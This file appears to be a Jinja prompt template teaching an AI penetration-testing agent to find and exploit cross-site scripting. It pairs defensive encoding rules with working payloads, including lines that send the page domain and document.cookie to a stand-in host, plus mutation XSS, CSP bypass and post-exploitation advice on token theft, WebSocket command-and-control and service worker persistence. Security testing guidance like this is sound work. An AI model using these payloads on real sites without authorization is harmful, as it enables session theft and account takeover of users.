Files
strix/strix/skills/vulnerabilities/xss.jinja
T

170 lines
8.5 KiB
Django/Jinja

<xss_vulnerability_guide>
<title>CROSS-SITE SCRIPTING (XSS)</title>
<critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
<scope>
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
</scope>
<methodology>
1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
</methodology>
<injection_points>
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
</injection_points>
<context_rules>
- HTML text: encode < > & " '
- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
- SVG/MathML: treat as active content; many tags execute via onload or animation events
</context_rules>
<advanced_detection>
<differential_responses>
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
- Time-based userland probes: setTimeout gating to detect execution without visible UI
</differential_responses>
<multi_channel>
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
</multi_channel>
</advanced_detection>
<advanced_techniques>
<dom_xss>
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
- Example vulnerable pattern:
{% raw %}
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
{% endraw %}
Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
</dom_xss>
<mutation_xss>
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
- Payloads:
{% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>{% endraw %}
</mutation_xss>
<template_injection>
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
- Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
</template_injection>
<csp_bypass>
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
</csp_bypass>
<trusted_types>
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
</trusted_types>
<polyglot_minimal>
- Keep a compact set tuned per context:
HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
JS string: {% raw %}"-alert(1)-"{% endraw %}
URL: {% raw %}javascript:alert(1){% endraw %}
</polyglot_minimal>
</advanced_techniques>
<frameworks>
<react>
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
</react>
<vue>
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
</vue>
<angular>
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
</angular>
<svelte>
- Sink: {@html} and dynamic attributes
- Defense: never pass untrusted HTML; sanitize or use text nodes
</svelte>
<markdown_richtext>
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
</markdown_richtext>
<special_contexts>
<emails>
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
</emails>
<pdf_and_docs>
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
</pdf_and_docs>
<file_uploads>
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
</file_uploads>
</special_contexts>
<post_exploitation>
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
</post_exploitation>
<validation>
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
</validation>
<false_positives>
- Reflected content safely encoded in the exact context
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
</false_positives>
<pro_tips>
1. Start with context classification, not payload brute force.
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
3. Keep a small, curated payload set per context and iterate with encodings.
4. Validate defenses by configuration inspection and negative tests.
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
6. Treat SVG/MathML as first-class active content; test separately.
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
</pro_tips>
<remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
</xss_vulnerability_guide>